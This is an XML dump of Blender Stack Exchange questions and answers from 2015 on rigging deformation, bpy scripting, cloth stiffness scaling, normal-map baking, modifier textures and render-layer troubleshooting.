  <row Id="32946" PostTypeId="2" ParentId="32943" CreationDate="2015-06-24T20:28:18.080" Score="12" Body="&lt;p&gt;Typically its best to first attempt to resolve the issue by weight painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to adjust the weights around the joint to improve the deformation. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adjust weight values by manually painting.&lt;/li&gt;&#xA;&lt;li&gt;Use the smooth tool to automatically re-distribute weights (&lt;a href=&quot;https://developer.blender.org/rBc40205738b242f7501fea245f69cf1d7187e9d2c&quot; rel=&quot;noreferrer&quot;&gt;new in 2.76&lt;/a&gt;), eg: &lt;img src=&quot;https://i.stack.imgur.com/6G6DF.png&quot; alt=&quot;smooth result&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Try the 'dual quaternion' option in the armature modifier&lt;br&gt;&lt;em&gt;(helps avoid volume loss)&lt;/em&gt;,&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When weight painting can't quite resolve all artifacts,&lt;br&gt;try the  &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/deform/corrective_smooth.html&quot; rel=&quot;noreferrer&quot;&gt;corrective smooth modifier&lt;/a&gt; &lt;em&gt;(new in 2.75)&lt;/em&gt;&lt;br&gt;&lt;a href=&quot;https://i.stack.imgur.com/eobcH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eobcH.png&quot; alt=&quot;corrective smooth&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Corrective shape keys&lt;br&gt;&lt;em&gt;Using a shape key to manually correct the distortion. While its involved to setup, it can be driven by bone and gives most control, This is typically used for more advanced rigging.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-06-29T23:15:39.217" LastActivityDate="2016-06-29T23:15:39.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32947" PostTypeId="1" AcceptedAnswerId="32948" CreationDate="2015-06-24T20:52:34.507" Score="2" ViewCount="1942" Body="&lt;p&gt;I am trying to write a python script using the info panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of the code is unwrapping a mesh which is executing successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second part is to change the viewport shading to MATERIAL which is used for rendering. But when I try to run the script I get this error . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRkEV.png&quot; alt=&quot;Attribute Error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, I am trying to import a .png image. But its not being displayed in the UV Editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;   for obj in bpy.data.objects:&#xA;     if(obj.type == 'MESH'):&#xA;       bpy.context.scene.objects.active = obj&#xA;       bpy.ops.mesh.uv_texture_add()&#xA;       bpy.ops.object.mode_set(mode='EDIT')&#xA;       bpy.ops.mesh.select_all(action='TOGGLE') &#xA;       bpy.ops.uv.unwrap(method='ANGLE_BASED', margin=0.001)&#xA;       bpy.context.space_data.context = 'MATERIAL'&#xA;       bpy.ops.material.new()&#xA;       bpy.ops.image.open(filepath=&quot;//finger1.png&quot;, directory=&quot;C:\\Users\\KM\\Desktop\\blender\\Test 1\\&quot;, files=[{&quot;name&quot;:&quot;finger1.png&quot;, &quot;name&quot;:&quot;finger1.png&quot;}], relative_path=True, show_multiview=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anything regarding this would be helpful. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15155" LastActivityDate="2021-05-22T21:10:41.230" Title="Python Scripting : AttributeError : 'SpaceTextEditor ' object has no attribute 'context'" Tags="&lt;python&gt;&lt;scripting&gt;&lt;image&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32948" PostTypeId="2" ParentId="32947" CreationDate="2015-06-24T22:07:52.667" Score="4" Body="&lt;p&gt;I am a big advocate of avoiding bpy.ops as much as possible.  I wrote an example at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/load-image-texture.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/load-image-texture.html&lt;/a&gt; which might help you understand how to use python to create a material using an image texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the most important bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def material_for_texture(fname):&#xA;    img = bpy.data.images.load(fname)&#xA;&#xA;    tex = bpy.data.textures.new(fname, 'IMAGE')&#xA;    tex.image = img&#xA;&#xA;    mat = bpy.data.materials.new(fname)&#xA;    mat.texture_slots.add()&#xA;    ts = mat.texture_slots[0]&#xA;    ts.texture = tex&#xA;    ts.texture_coords = 'ORCO'&#xA;&#xA;    return mat&#xA;&#xA;fname = &quot;/var/tmp/blender/mohawk-seal0001.png&quot;&#xA;obj = bpy.context.active_object&#xA;mat = material_for_texture(fname)&#xA;if len(obj.data.materials)&amp;lt;1:&#xA;    obj.data.materials.append(mat)&#xA;else:&#xA;    obj.data.materials[0] = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-24T22:07:52.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32950" PostTypeId="2" ParentId="32944" CreationDate="2015-06-24T22:24:12.797" Score="1" Body="&lt;p&gt;This is non-trivial.  For an arbitrary animation, you would basically have to evaluate the data_paths at every frame and insert a keyframe.  For a rotating cube you would have to give it both rotation and location keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example of how sticky this can become, consider the similar &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/snapshot-keyframes-as-mesh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/snapshot-keyframes-as-mesh.html&lt;/a&gt;, which I do not include inline because it does not actually solve your problem, it is just an example of how things can get messy when you have to step frame by frame and coerce blender to apply (for lack of a better word:) stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the special case of rotations, you can use sinusoidal easing (on the &lt;kbd&gt;t&lt;/kbd&gt; menu of the fcurves editor) to animate the location of the cube as long as it always rotates in 90 degree sweeps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Oh0Xs.png&quot; alt=&quot;sinusoidal easing for rotation&quot;&gt;&#xA;Another trick for the limited case would be to change the origin of the cube's mesh to be where the empty used to be and then rotate the cube.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-24T22:24:12.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32951" PostTypeId="2" ParentId="32043" CreationDate="2015-06-24T23:28:39.600" Score="8" Body="&lt;h1&gt; Cloth Stiffness Scaling &lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; How does Cloth Stiffness Scaling work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; Basically, you just (1) Create a Vector Group from the Plane, (2) Weight Paint each half of the Plane red/blue, (3) Then set the min&amp;amp;max values for Bending stiffness to 0.0001&amp;amp;1000.0. You can test it with a cloth falling over a collision sphere. The following post aims to elaborate on this explanation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Feature Functionality&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to the Documentation for Blender 2.4, the Stiffness Scaling feature allows a vertex group to have a different bending/structural stiffness value for each vertex within the vertex group (as opposed to the same bending/structural stiffness value for each vertex). This requires working with &quot;Vertex Groups&quot; and &quot;Weight Paint&quot; features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.4 Docs: &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Panels/Object/Physics/Cloth#Stiffness_Scaling&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Reference/Panels/Object/Physics/Cloth#Stiffness_Scaling&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Same Stiffness Values&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The usual way to apply (bending/structural) stiffness values to a vertex group (or a plane mesh), is to apply a &quot;Cloth&quot; Modifier to a Plane Mesh (hopefully, well subdivided) via the &quot;Modifiers &gt; Add Modifier&quot; Panel. Once the Cloth Modifier is applied to the Plane Mesh, then you can set the &quot;Structural&quot; and &quot;Bending&quot; stiffness values via the &quot;Physics &gt; Cloth&quot; Panel. For example, you can set &quot;Bending&quot; to 0.0001 to be very silky, or you can set &quot;Bending&quot; to 1000.00 to be very leathery. Now all of the vertices within the Plane Mesh will have the same stiffness values.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Different Stiffness Values&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now, let's say that we want each of the vertices (of the Plane Mesh) to have a different structural/bending stiffness value. In this example, we want the left half of the cloth to have 1000.0 &quot;Bending&quot; stiffness and the right half of the cloth to have 0.0001 &quot;Bending&quot; stiffness (aka, leathery on the left and silky on the right). To do this, we will need to work with the &quot;Vertex Groups&quot;, &quot;Weight Paint&quot;, and &quot;Cloth Stiffness Scaling&quot; features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we want to group all of the vertices from the Plane Mesh into a Vertex Group. To do this, we &quot;add a new vertex group to the active object&quot; via the &quot;Data &gt; Vertex Groups&quot; panel (in this case, the active object should be the Plane Mesh). Once the new Vertex Group is created, it should have a default name of &quot;Group&quot;. Feel free to re-name it to anything you want -- I will rename it to &quot;Cloth_Group_001&quot;. Now, we've created our Vertex Group! Great Job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zk5Ke.png&quot; alt=&quot;Vertex Groups Panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, we need to Weight Paint the Vertex Group of the Plane Mesh (aka, &quot;Cloth_Group_001&quot;). Weight Paint controls can be accessed by changing &quot;Object Mode&quot; (or &quot;Edit Mode&quot;) to &quot;Weight Paint&quot;. Now, you will be controlling an interactive brush with a &quot;Weight&quot; between 0.000 to 1.000, a &quot;Radius&quot; between 1 to 200 pixels, and a &quot;Strength&quot; between 0.000 and 1.000. Paint the left half of the Plane Mesh to Red (aka, Weight=1.0), and paint the right half of the Plane Mesh to Blue (aka, Weight=0.0). ((I suggest using a Strength of 1.0, and choosing an Radius Size that is comfortable for you)). Now, you should see the left half colored Red and the right half colored Blue. You've just Weight Painted the vertices in your Vertex Group (of the Plane Mesh)! Great job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IAhR9.png&quot; alt=&quot;Weight Paint Tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, we can go back to our &quot;Physics &gt; Cloth&quot; and &quot;Physics &gt; Cloth Stiffness Scaling&quot; panels. Using these Cloth panels, we are going to set the minimum value for &quot;Stiffness Scaling&quot; and we are going to set the maximum value for &quot;Stiffness Scaling&quot;. We first need to enable &quot;Cloth Stiffness Scaling&quot; via &quot;Physics &gt; Cloth Stiffness Scaling&quot; panel. Now that stiffness scaling is enabled, we want to set a minimum and maximum value for our &quot;Bending&quot; stiffness values for &quot;Cloth_Group_001&quot; (note: we can do the same thing for our &quot;Structural&quot; stiffness values, but this example will only demonstrate the min and max for &quot;Bending&quot; stiffness values). To set the maximum value for our &quot;Bending&quot; stiffness, we need to select &quot;Cloth_Group_001&quot; from the dropdown-menu under &quot;Physics &gt; Cloth Stiffness Scaling &gt; Bending Stiffness:&quot; and then set the max-value for the &quot;Bending Stiffness&quot; to be 1000.0 (you can set this to anything you want, we will use 1000.0 in this example). At this point, be sure that you did both: set the Vertex Group and set the Bending Stiffness &quot;Max:&quot;. The last thing you need to do in this section is set the minimum value. To do this, we need go to the &quot;Physics &gt; Cloth&quot; panel and set &quot;Bending:&quot; to 0.0001 (this will serve as the minimum bending value, whenever &quot;Cloth Stiffness Scaling&quot; is enabled --  which you already enabled earlier). You have now set the min and max values for the Vertex Group's Bending Stiffness (Remember that the Vertex Group of your Plane Mesh is re-named to &quot;Cloth_Group_001&quot; for this example). Great job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cwxps.png&quot; alt=&quot;Cloth &amp;amp; Cloth Stiffness Scaling panels&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To conclude, let's try to understand what we just did. We basically set the Red-Painted vertices to 1000.0 and the Blue-Painted to 0.0001. This is because 1000.0 (maximum) maps to the &quot;Weight&quot;=1.0 from the &quot;Weight Paint&quot; earlier; similarly, 0.0001 (minimum) maps to the &quot;Weight&quot;=0.0. Note that anything that is painted between Red or Blue (e.g., Green/Yellow/Orange) has a Weight in between 0.0 and 1.0; this means that Green/Yellow/Orange will have a Bending Stiffness between 0.0001 (minimum) and 1000.0 (maximum). In our case, we should only have the left half of the vertices painted Red and the right half of the vertices painted Blue; this means that the left half of the vertices have a Bending Stiffness of 1000.0 and the right half of the vertices have a Bending Stiffness of 0.0001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it! Now you have each vertex with a different stiffness value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: If you want to change the stiffness for every single vertex in your cloth, just use a different Weight value for each vertex while &quot;Weight Painting&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Testing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can take my word that this works, but I'm sure you're eager to see it work for yourself. I would add a Sphere under the Cloth, and add a Collision Modifier to it. Have the Cloth (aka, Plane Mesh) above the Sphere so that when you begin Simulating/Animating it will fall under the force of Gravity and drape the Sphere. Remember to have &quot;Cloth Collision&quot; enabled via the &quot;Physics &gt; Cloth Collision&quot; panel (optional: feel free to enable &quot;Self Collision&quot; as well). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you can press the &quot;Play Animation&quot; button (towards the bottom of the Blender UI) and see the results of the Cloth falling over a Sphere and draping it. You will notice two (2) things: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The right half of the cloth will want to hug/engulf/fit the sphere, since the right half of the Vertex Group is silkier (&quot;Bending&quot;=0.0001).&lt;/li&gt;&#xA;&lt;li&gt;The left half of the cloth will want to try to &quot;spring&quot; back into a planar shape and definitely NOT hug/engulf/fit the sphere as tightly as the other half. (Aka, the cloth will be very stiff in this half; &quot;Bending&quot;=1000.0).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Note: I've tested Cloth Stiffness Scaling with Blender 2.74, and it works perfectly.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In conclusion, you will have a very stiff left half (due to the RED paint) and an extremely low stiffness on the right half (due to the BLUE paint).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QlTCf.png&quot; alt=&quot;Weight Painting for Cloth Stiffness&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense? Any questions, comments, or feedback are welcome.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;References&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This link explains one user's struggle and eventual understanding of the Stiffness Scaling feature: &lt;a href=&quot;https://developer.blender.org/T39371&quot; rel=&quot;noreferrer&quot;&gt;https://developer.blender.org/T39371&lt;/a&gt; . Feel free to open the &quot;ClothStiffness2.blend&quot; file referenced in the link, so that you can see a Blender Scene similar to the one example referred to above.&lt;/p&gt;&#xA;" OwnerUserId="13911" LastEditorUserId="13911" LastEditDate="2015-06-25T16:15:00.297" LastActivityDate="2015-06-25T16:15:00.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32952" PostTypeId="2" ParentId="32865" CreationDate="2015-06-24T23:36:29.887" Score="1" Body="&lt;p&gt;Using &lt;strong&gt;Cycles&lt;/strong&gt; I was able to achieve the following result using the meshes from your &lt;code&gt;.blend&lt;/code&gt;. Not sure why your image has the funky artifacts, but as far as I can see the result I turned out seemed okay? I'll add the steps of how I achieved the result below... :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d9Vi7.jpg&quot; alt=&quot;UV MAP1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; To begin, after deleting all previous mesh data (Materials, UV Maps, etc- helped me to start afresh) and with the multires mesh selected, add a new 2048x2048px image in the UV Image editor. Then create a new Cycles material with this image attached to the diffuse colour (as this image needs to be applied to the multires mesh in order to bake the normals, and plugging it to the diffuse colour will help us view it in Textured View Mode later on if need be).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/601Lg.png&quot; alt=&quot;Image1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Next enter edit mode and UV Unwrap the multires teeth mesh onto the new image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/emkDX.png&quot; alt=&quot;Image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Now we can head over to the Render settings in the properties panel and jump to the &lt;code&gt;Bake&lt;/code&gt; tab. Change the &lt;code&gt;Bake Type:&lt;/code&gt; dropdown to 'Normal'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tr4Dm.png&quot; alt=&quot;Image 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; You can change the &lt;code&gt;Margin&lt;/code&gt; to be '0px' and check the &lt;code&gt;Clear&lt;/code&gt; box beneath it. This'll just make the normal map look a bit cleaner, you can leave it at higher values if desired, it shouldn't affect the normal map. Finally, hit &lt;code&gt;Bake&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BO07j.png&quot; alt=&quot;Image 4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there ya go! You can save the UV Map externally by tabbing out of edit mode, hovering over the Normal Map in the UV Image editor and hitting &lt;kbd&gt;F3&lt;/kbd&gt;. Hope this helps! :)&lt;/p&gt;&#xA;" OwnerUserId="15132" LastEditorUserId="15132" LastEditDate="2015-06-26T14:47:14.963" LastActivityDate="2015-06-26T14:47:14.963" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32953" PostTypeId="1" AcceptedAnswerId="32954" CreationDate="2015-06-24T23:51:51.513" Score="3" ViewCount="104" Body="&lt;p&gt;Often when modeling I have a need to apply multiple layers of displacement, with each displace modifier using a different texture.  However, every time I go to the texture panel and select one of the textures the topmost displace modifier (and none of the others) switches to using that texture.  I then must go back to the modifier panel and switch it back, which is a royal pain in the neck to do this every time I go to edit a different texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does Blender do this?  I don't think it is a bug as I can remember it doing this for as long as I have used Blender.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-06-25T00:12:41.690" Title="Why does the top displace modifier always switch to the active texture?" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32954" PostTypeId="2" ParentId="32953" CreationDate="2015-06-25T00:06:11.183" Score="4" Body="&lt;p&gt;When selecting the texture to edit, you are actually &lt;em&gt;setting&lt;/em&gt; the texture to be used by the displace modifier(s) and anything else that was using the texture that was there before you set it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same with materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I want to edit the blue material. If I select the blue material with the orange object selected, I'll turn the orange object blue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5nIjG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I should select the blue object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JucSX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to select the blue object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;select&quot; a texture being used by a displace modifier, either click the button next to the texture slot in the modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/58Pft.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in the texture panel, select which &lt;em&gt;modifier&lt;/em&gt; you want to edit, instead of which texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GuvVi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to edit a specific datablock regardless of the object selection, you can &lt;em&gt;Pin&lt;/em&gt; a panel by clicking the pin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jqp9O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will prevent that panel from displaying another object's datablocks until it is unlocked again.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-25T00:12:41.690" LastActivityDate="2015-06-25T00:12:41.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32955" PostTypeId="1" AcceptedAnswerId="32957" CreationDate="2015-06-25T00:31:41.677" Score="5" ViewCount="874" Body="&lt;p&gt;How can I get the the user preferences path from blender, on windows system the path is &lt;code&gt;%appdata%\Blender Foundation\Blender\2.74\config&lt;/code&gt; I want to get this path from blender using python on any system.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="2217" LastEditDate="2015-06-25T02:54:41.887" LastActivityDate="2015-06-25T02:54:41.887" Title="How to get user preferences path from blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32957" PostTypeId="2" ParentId="32955" CreationDate="2015-06-25T02:19:39.073" Score="8" Body="&lt;p&gt;Using: &lt;code&gt;bpy.utils.resource_path('USER')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;&#xA;user_path = bpy.utils.resource_path('USER')&#xA;config_path = os.path.join(user_path, &quot;config&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Or on Linux:&lt;br&gt;&lt;code&gt;/home/user_name/.config/blender/2.74&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;On ms-windows will return:&lt;br&gt;&lt;code&gt;C:\Users\user_name\AppData\Roaming\Blender Foundation\Blender\2.74&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.utils.html#bpy.utils.resource_path&quot;&gt;bpy.utils.resource_path&lt;/a&gt; api docs&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-25T02:19:39.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32958" PostTypeId="1" CreationDate="2015-06-25T05:23:36.257" Score="1" ViewCount="340" Body="&lt;p&gt;I just bought a texture cookbook tutorial of how to create realistic textures using blender cycles and I was doing a tutorial on how to create a realistic stone. However, I ended up with something I really don't expect. The book showed the supposed finished product however, my finished product don't looked as nearly as it should be. I did everything else fine, just the stone. Here is my finished product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SNbqo.png&quot; alt=&quot;My finished product for the stone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a different version of Blender so that might be the problem, however, it feels like I made a mistake somewhere(remember, I am creating a different stone colour using the book's instruction). Here would be the nodes for this stone according to the book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GoktE.png&quot; alt=&quot;First Bump&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h3Ywv.png&quot; alt=&quot;Second Bump&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2SEqA.png&quot; alt=&quot;Colours&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VtNpI.png&quot; alt=&quot;Other stuff needed for textures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any suggestions on improving this rock, please tell me. It would also help if someone has the same textures cookbook.(its Blender 2.6 Cycles: Materials and Textures Cookbook by Enrico Valenza.)&lt;/p&gt;&#xA;" OwnerUserId="15205" LastActivityDate="2015-06-25T05:23:36.257" Title="Blender 2.6 rock cycle render nodes problem in Blender 2.73" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32959" PostTypeId="1" AcceptedAnswerId="32960" CreationDate="2015-06-25T05:59:58.513" Score="7" ViewCount="3624" Body="&lt;p&gt;I added a texture to the bowl, and it came out rendered black. I unwrapped it, and I did a little node editing, to make the plane glossy and B&amp;amp;W. It looks fine in the preview, as well as in material view, and in rendered view, but not in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another weird part is that Suzanne is also black in the render, even though she just has the default light gray material and no node editing at all. If I render without the bowl, it's just Suzanne in black. I have no idea why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my bowl's nodes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j24H7.png&quot; alt=&quot;bowl nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's rendered view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o44Yp.png&quot; alt=&quot;rendered view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZfoDY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/295/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=295&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's definitely a light in the scene.&lt;/p&gt;&#xA;" OwnerUserId="9735" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-06-25T19:56:10.010" Title="Cycles rendering objects all black" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32960" PostTypeId="2" ParentId="32959" CreationDate="2015-06-25T07:00:00.713" Score="11" Body="&lt;p&gt;I think what happened here was just a misclick in your render layer settings. It looks like you accidentally added a layer as a mask layer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is a mask layer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A mask layer is a layer that is used as a mask to turn parts of a renderlayer transparent depending on if anything (that appears in the render) is infront of something from that renderlayer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What's the issue?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Your issue, is that you have your first layer (the one that has all your objects on it), set to be a mask layer, so essentially what is happening, is that instead of rendering the objects, there shape is filled with transparency. I just doesn't appear transparent because you don't have film transparent checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, simply uncheck that layer from the mask layers.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tl7jb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-06-25T07:00:00.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
